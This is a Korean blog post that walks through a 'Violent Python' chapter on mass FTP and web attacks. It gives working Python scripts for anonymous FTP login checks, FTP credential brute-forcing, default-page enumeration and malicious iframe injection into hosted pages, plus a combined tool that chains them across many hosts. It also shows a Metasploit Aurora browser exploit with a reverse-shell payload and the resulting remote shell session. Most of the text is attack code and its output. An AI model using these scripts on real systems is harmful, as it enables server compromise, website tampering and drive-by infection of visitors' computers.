Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.
해커의 언어, 치명적 파이썬 – CHAPTER 1 소개
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 포트 스캐너 만들기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 컨피커 노력하면 된다
2.4 FTP와 웹을 이용한 대규모 공격
– k985ytv 대규모 해킹공격 : 익명ftp와 탈취한 ftp 계정으로 22,400개의 도메인의 536,000개의 페이지에 대한 접근권한 획득 후 페이지에 리다이렉션 코드를 삽입하여 방문자가 접속하면 신용카드 정보를 탈취하는 가짜 백신 설치하도록 함
2.4.1 파이썬으로 익명 FTP 스캐너 만들기
– 파이썬의 ftplib으로 특정 서버가 익명 로그인을 허용하는지 판단하는 스크립트
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', 'me@your.com') print '\n[*] ' + str(hostname) +\ ' FTP Anonymous Logon Succeeded.' ftp.quit() return True except Exception, e: print '\n[-] ' + str(hostname) +\ ' FTP Anonymous Logon Failed.' return False host = '192.168.110.129' anonLogin(host) |
실행결과(테스트를 위해 대상서버에 Anonymous 로그인을 허용)
1 2 3 |
# python anonLogin.py [*] 192.168.110.129 FTP Anonymous Logon Succeeded. |
2.4.2 Ftplib로 FTP 사용자 인증정보 공격하기
– brute force 공격으로 인증정보 획득하기.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib, time def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): time.sleep(1) userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print "[+] Trying: "+userName+"/"+passWord try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print '\n[*] ' + str(hostname) +\ ' FTP Logon Succeeded: '+userName+"/"+passWord ftp.quit() return (userName, passWord) except Exception, e: pass print '\n[-] Could not brute force FTP credentials.' return (None, None) host = '192.168.110.129' passwdFile = 'userpass.txt' bruteLogin(host, passwdFile) |
실행결과(테스트를 위해 대상서버에 root 계정을 추가)
1 2 3 4 5 6 7 8 |
# python bruteLogin.py [+] Trying: administrator/password [+] Trying: admin/12345 [+] Trying: root/secret [+] Trying: guest/guest [+] Trying: root/toor [*] 192.168.110.129 FTP Logon Succeeded: root/toor |
2.4.3 FTP 서버에 있는 웹 페이지 검색하기
– FTP서버에 접속해 컨텐츠를 열거(NLST)하고, 디폴트 페이지를 찾음
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print '[+] Found default page: ' + fileName retList.append(fileName) return retList host = '192.168.110.129' userName = 'root' passWord = 'toor' ftp = ftplib.FTP(host) ftp.login(userName, passWord) returnDefault(ftp) |
실행결과((테스트를 위해 대상서버에 test.html, test.php 파일 생성)
1 2 3 |
# python defaultPages.py [+] Found default page: test.html [+] Found default page: test.php |
2.4.4 웹 페이지에 악성코드 삽입하기
– 웹페이지를 변조하기에 앞서, 악성서버와 악성페이지를 만든다. (메타스플로잇의 오로라 취약점 이용 – ms10_002_aurora)
– 취약점의 정보 및 취약시스템은 아래의 링크에서 확인할수 있다.
http://technet.microsoft.com/ko-kr/security/bulletin/ms10-002#EED
1 2 3 4 5 6 7 8 9 |
# msfcli exploit/windows/browser/ms10_002_aurora LHOST=192.168.110.133 SRVHOST=192.168.110.133 URIPATH=/key PAYLOAD=windows/shell/reverse_tcp LPORT=443 E [*] Please wait while we load the module tree... Warning: The following modules could not be loaded! /opt/metasploit/msf3/modules/post/multi/gather/ssh_creds.rb: NameError uninitialized constant Msf::Post::Unix [-] WARNING! The following modules could not be loaded! [-] /opt/metasploit/msf3/modules/post/multi/gather/ssh_creds.rb: NameError uninitialized constant Msf::Post::Unix ... |
위와 같이 warning 이 발생할 경우,
/opt/metasploit/msf3/modules/post/multi/gather/ssh_creds.rb 파일 수정하면된다.
require ‘msf/core/post/unix’ 추가
참고 : http://www.sinkblog.org/archives/103.html
다시 실행.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# msfcli exploit/windows/browser/ms10_002_aurora LHOST=192.168.110.133 SRVHOST=192.168.110.133 URIPATH=/key PAYLOAD=windows/shell/reverse_tcp LPORT=443 E [*] Please wait while we load the module tree... , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 927 exploits - 499 auxiliary - 151 post + -- --=[ 251 payloads - 28 encoders - 8 nops LHOST => 192.168.110.133 SRVHOST => 192.168.110.133 URIPATH => /key PAYLOAD => windows/shell/reverse_tcp LPORT => 443 [*] Exploit running as background job. [*] Started reverse handler on 192.168.110.133:443 [*] Using URL: http://192.168.110.133:8080/key [*] Server started. msf exploit(ms10_002_aurora) > |
– 이제 악성코드를 페이지에 심어보자
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page ftp.storlines('STOR ' + page, open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page host = '192.168.95.179' userName = 'guest' passWord = 'guest' ftp = ftplib.FTP(host) ftp.login(userName, passWord) redirect = '<iframe src='+\ '"http:\\\\192.168.110.133:443\\key"></iframe>' injectPage(ftp, 'test.html', redirect) |
이제 악성코드가 삽입된 페이지에 사용자들이 접속하면, 취약한 시스템이라면, 해커가 접속한 사용자들의 PC에 접근할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
msf exploit(ms10_002_aurora) > [*] 192.168.110.129 ms10_002_aurora - Sending Internet Explorer "Aurora" Memory Corruption [*] Sending stage (240 bytes) to 192.168.110.129 msf exploit(ms10_002_aurora) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 shell windows Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft ... 192.168.110.133:443 -> 192.168.110.129:1129 (192.168.110.129) msf exploit(ms10_002_aurora) > msf exploit(ms10_002_aurora) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\Documents and Settings\Administrator\???? ???> C:\Documents and Settings\Administrator\???? ???>ECHO %USERNAME% ECHO %USERNAME% Administrator |
2.4.5 모든 공격 통합하기
– 앞의 과정을 통합
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 |
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib import optparse import time def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous', 'me@your.com') print '\n[*] ' + str(hostname) \ + ' FTP Anonymous Logon Succeeded.' ftp.quit() return True except Exception, e: print '\n[-] ' + str(hostname) +\ ' FTP Anonymous Logon Failed.' return False def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): time.sleep(1) userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print '[+] Trying: ' + userName + '/' + passWord try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print '\n[*] ' + str(hostname) +\ ' FTP Logon Succeeded: '+userName+'/'+passWord ftp.quit() return (userName, passWord) except Exception, e: pass print '\n[-] Could not brute force FTP credentials.' return (None, None) def returnDefault(ftp): try: dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print '[+] Found default page: ' + fileName retList.append(fileName) return retList def injectPage(ftp, page, redirect): f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page ftp.storlines('STOR ' + page, open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page def attack(username,password,tgtHost,redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username, password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp, defPage, redirect) def main(): parser = optparse.OptionParser('usage %prog '+\ '-H <target host[s]> -r <redirect page>'+\ '[-f <userpass file>]') parser.add_option('-H', dest='tgtHosts',\ type='string', help='specify target host') parser.add_option('-f', dest='passwdFile',\ type='string', help='specify user/password file') parser.add_option('-r', dest='redirect',\ type='string',help='specify a redirection page') (options, args) = parser.parse_args() tgtHosts = str(options.tgtHosts).split(',') passwdFile = options.passwdFile redirect = options.redirect if tgtHosts == None or redirect == None: print parser.usage exit(0) for tgtHost in tgtHosts: username = None password = None if anonLogin(tgtHost) == True: username = 'anonymous' password = 'me@your.com' print '[+] Using Anonymous Creds to attack' attack(username, password, tgtHost, redirect) elif passwdFile != None: (username, password) =\ bruteLogin(tgtHost, passwdFile) if password != None: '[+] Using Creds: ' +\ username + '/' + password + ' to attack' attack(username, password, tgtHost, redirect) if __name__ == '__main__': main() |
One Response to 해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격